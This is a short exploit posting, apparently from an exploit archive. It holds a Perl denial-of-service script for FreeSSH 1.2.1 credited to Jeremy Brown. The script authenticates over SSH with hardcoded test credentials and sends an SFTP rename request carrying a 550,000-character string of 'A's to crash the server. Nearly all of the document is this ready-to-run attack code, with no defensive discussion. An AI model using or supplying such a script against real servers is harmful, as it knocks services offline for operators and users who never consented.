FreeSSH version 1.2.1 denial of service exploit.
d1d23d04a0d96b9bd50bbd0dfc343290a639f6d1a1d82ba7ed4de3104673a0a2
#!/usr/bin/perl
# Jeremy Brown [0xjbrown41@gmail.com/jbrownsec.blogspot.com]
# FreeSSH 1.2.1 Crash -- A Product of Fuzzing. Stay Tuned.
use Net::SSH2;
$host = "192.168.0.187";
$port = 22;
$username = "test";
$password = "test";
$dos = "A" x 550000;
$ssh2 = Net::SSH2->new();
$ssh2->connect($host, $port) || die "\nError: Connection Refused!\n";
$ssh2->auth_password($username, $password) || die "\nError: Username/Password Denied!\n";
$sftp = $ssh2->sftp();
$rename = $sftp->rename($dos, "test");
$ssh2->disconnect();
exit;